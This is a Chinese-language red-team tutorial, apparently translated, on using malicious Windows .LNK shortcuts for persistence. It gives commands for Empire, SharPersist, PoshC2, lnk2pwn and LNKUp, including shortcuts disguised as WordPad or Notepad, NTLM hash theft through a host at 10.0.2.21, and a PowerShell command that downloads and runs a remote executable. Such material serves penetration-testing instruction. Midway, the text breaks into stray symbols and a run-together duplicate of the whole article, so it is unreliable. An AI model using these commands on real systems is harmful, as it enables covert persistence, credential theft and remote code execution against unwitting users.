Window权限维持(四):快捷方式

2019-11-14 17:27:31 浏览数 (1)

Windows快捷方式包含对系统上安装的软件或文件位置(网络或本地)的引用。自从恶意软件出现之初,便已将快捷方式用作执行恶意代码以实现持久性的一种方法。快捷方式的文件扩展名是.LNK,它为红队提供了很多机会来执行各种格式的代码(exe,vbs,Powershell,scriptlet等)或窃取NTLM哈希值。更隐蔽的方法是修改现有合法快捷方式的属性,但是生成具有不同特征的快捷方式可以为代码执行提供灵活性。

Empire

Empire包含一个持久性模块,该模块可以后门合法的快捷方式(.LNK),以执行任意的PowerShell有效负载。现有快捷方式的目标字段将被修改以执行存储在注册表项中的base64脚本。

代码语言:javascript复制
usemodule persistence/userland/backdoor_lnk
Empire–后门现有快捷方式Empire–后门现有快捷方式

查看快捷方式的属性将显示目标字段已成功修改以执行PowerShell有效负载。

由于快捷方式存在于启动文件夹中,因此暂存器将在下一次Windows登录中执行,并且将与命令和控制服务器建立连接。

Empire-通过快捷方式成功上线Empire-通过快捷方式成功上线

但是,Empire包含一个可用于生成具有LNK文件格式的暂存器的模块。

代码语言:javascript复制
usestager windows/launcher_lnk
set Listener http
execute
Empire-创建快捷方式Empire-创建快捷方式

默认情况下,此模块将使用写字板图标伪装成可信任的应用程序。

Empire-写字板快捷方式Empire-写字板快捷方式

快捷方式的目标字段将使用执行Base64有效负载的PowerShell命令填充。可以将快捷方式转移并移动到启动文件夹中以保持持久性。

Empire-快捷属性Empire-快捷属性

SharPersist

SharPersist能够创建Internet Explorer快捷方式,该快捷方式将执行任意有效负载并将其放置在启动文件夹中以实现持久性。

代码语言:javascript复制
SharPersist.exe -t startupfolder -c "cmd.exe" -a "/c C:temppentestlab.exe" -f "pentestlab" -m add
SharPersist –快捷方式SharPersist –快捷方式

当用户进行身份验证时,将执行有效负载,并打开Meterpreter会话.

SharPersist – MeterpreterSharPersist – Meterpreter

PoshC2

PoshC2可以创建一个LNK文件并将其直接放置在Windows启动文件夹中以保持持久性。可以通过执行以下命令来调用此技术:

代码语言:javascript复制
install-persistence 3
PoshC2 –启动LNK文件PoshC2 –启动LNK文件

在Windows登录期间,快捷方式将尝试在注册表项上执行值,该注册表项包含base64格式的stager。

PoshC2 –快捷方式PoshC2 –快捷方式

杂项

PoshC

在常见的红色团队工具包之外,还有多个脚本可用于开发恶意快捷方式。将这些快捷方式放置在启动文件夹中以保持持久性将是一个微不足道的过程,因为假定已经存在与命令和控制服务器的通信。

lnk2pwn是用Java编写的工具,可用于制作恶意快捷方式。可以通过命令控制台在生成快捷方式期间嵌入任意命令。

代码语言:javascript复制
java -jar lnk2pwn.jar

默认情况下,lnk2pwn将生成伪造的记事本快捷方式,但是可以轻松更改图标。

BI~C|h1h2h3|“<>olul|超断ΣV表|Windows快捷方式包含对系统上安装的软件或文件位置(网络或本地)的引用。自从恶意软件出现之初,便已将快捷方式用作执行恶意代码以实现持久性的一种方法。快捷方式的文件扩展名是.LNK,它为红队提供了很多机会来执行各种格式的代码(exe,vbs,Powershell,scriptlet等)或窃取NTLM哈希值。更隐蔽的方法是修改现有合法快捷方式的属性,但是生成具有不同特征的快捷方式可以为代码执行提供灵活性。EmpireEmpire包含一个持久性模块,该模块可以后门合法的快捷方式(.LNK),以执行任意的PowerShell有效负载。现有快捷方式的目标字段将被修改以执行存储在注册表项中的base64脚本。usemodule persistence/userland/backdoor_lnkEmpire–后门现有快捷方式查看快捷方式的属性将显示目标字段已成功修改以执行PowerShell有效负载。Empire-修改后的快捷方式由于快捷方式存在于启动文件夹中,因此暂存器将在下一次Windows登录中执行,并且将与命令和控制服务器建立连接。Empire-通过快捷方式成功上线但是,Empire包含一个可用于生成具有LNK文件格式的暂存器的模块。usestager windows/launcher_lnk set Listener http executeEmpire-创建快捷方式默认情况下,此模块将使用写字板图标伪装成可信任的应用程序。Empire-写字板快捷方式快捷方式的目标字段将使用执行Base64有效负载的PowerShell命令填充。可以将快捷方式转移并移动到启动文件夹中以保持持久性。Empire-快捷属性SharPersistSharPersist能够创建Internet Explorer快捷方式,该快捷方式将执行任意有效负载并将其放置在启动文件夹中以实现持久性。SharPersist.exe -t startupfolder -c "cmd.exe" -a "/c C:temppentestlab.exe" -f "pentestlab" -m addSharPersist –快捷方式当用户进行身份验证时,将执行有效负载,并打开Meterpreter会话.SharPersist – MeterpreterPoshC2PoshC2可以创建一个LNK文件并将其直接放置在Windows启动文件夹中以保持持久性。可以通过执行以下命令来调用此技术:install-persistence 3PoshC2 –启动LNK文件在Windows登录期间,快捷方式将尝试在注册表项上执行值,该注册表项包含base64格式的stager。PoshC2 –快捷方式杂项PoshC在常见的红色团队工具包之外,还有多个脚本可用于开发恶意快捷方式。将这些快捷方式放置在启动文件夹中以保持持久性将是一个微不足道的过程,因为假定已经存在与命令和控制服务器的通信。lnk2pwn是用Java编写的工具,可用于制作恶意快捷方式。可以通过命令控制台在生成快捷方式期间嵌入任意命令。java -jar lnk2pwn.jar默认情况下,lnk2pwn将生成伪造的记事本快捷方式,但是可以轻松更改图标。添加描述lnk2pwn –假记事本快捷方式使用LNKUp python脚本可以实现类似的结果,该脚本可以生成可以执行任意命令或窃取目标用户的NTLM哈希的快捷方式。python generate.py --host 10.0.2.21 --type ntlm --output out.lnk添加描述LNKUp – NTLM哈希快捷方式由于生成的LNK文件将包含UNC路径,因此需要使用响应器,或者具有捕获NTLM哈希值的Metasploit模块。use auxiliary/server/capture/smbLNKUp – NTLM捕获密码哈希可以用于脱机破解或NTLM中继攻击,以便访问其他系统或用户的电子邮件。LNKUp还具有生成将执行任意命令的快捷方式的功能。python generate.py --host 10.0.2.21 --type ntlm --output pentestlab.lnk --execute "cmd.exe /c C:temppentestlab.exe"LNKUp –执行命令xillwillx开发了一个名为ricky.lnk的PowerShell脚本,该脚本可以创建一个以.unik字符欺骗的.LNK文件,该字符反转.lnk扩展名并在文件末尾附加.txt。生成的扩展名将包含一个PowerShell命令,该命令将从远程服务器下载文件并直接在系统上执行。C:WindowsSystem32WindowsPowerShellv1.0powershell.exe -ExecutionPolicy Bypass -noLogo -Command (new-object System.Net.WebClient).DownloadFile('http://10.0.2.21/pentestlab.exe','pentestlab.exe');./pentestlab.exe;或者,该项目包含一个VBS脚本,该脚本可以执行与PowerShell版本相同的操作。

lnk2pwn –假记事本快捷方式

使用LNKUp python脚本可以实现类似的结果,该脚本可以生成可以执行任意命令或窃取目标用户的NTLM哈希的快捷方式。

代码语言:javascript复制
python generate.py --host 10.0.2.21 --type ntlm --output out.lnk
LNKUp – NTLM哈希快捷方式LNKUp – NTLM哈希快捷方式

由于生成的LNK文件将包含UNC路径,因此需要使用响应器,或者具有捕获NTLM哈希值的Metasploit模块。

代码语言:javascript复制
use auxiliary/server/capture/smb
LNKUp – NTLM捕获LNKUp – NTLM捕获

密码哈希可以用于脱机破解或NTLM中继攻击,以便访问其他系统或用户的电子邮件。LNKUp还具有生成将执行任意命令的快捷方式的功能。

代码语言:javascript复制
python generate.py --host 10.0.2.21 --type ntlm --output pentestlab.lnk --execute "cmd.exe /c C:temppentestlab.exe"
LNKUp –执行命令LNKUp –执行命令

xillwillx开发了一个名为ricky.lnk的PowerShell脚本,该脚本可以创建一个以.unik字符欺骗的.LNK文件,该字符反转.lnk扩展名并在文件末尾附加.txt。生成的扩展名将包含一个PowerShell命令,该命令将从远程服务器下载文件并直接在系统上执行。

代码语言:javascript复制
C:WindowsSystem32WindowsPowerShellv1.0powershell.exe -ExecutionPolicy Bypass -noLogo -Command (new-object System.Net.WebClient).DownloadFile('http://10.0.2.21/pentestlab.exe','pentestlab.exe');./pentestlab.exe;
Tricky2 – PowerShellTricky2 – PowerShell

或者,该项目包含一个VBS脚本,该脚本可以执行与PowerShell版本相同的操作。

Tricky – VBS脚本Tricky – VBS脚本

0 人点赞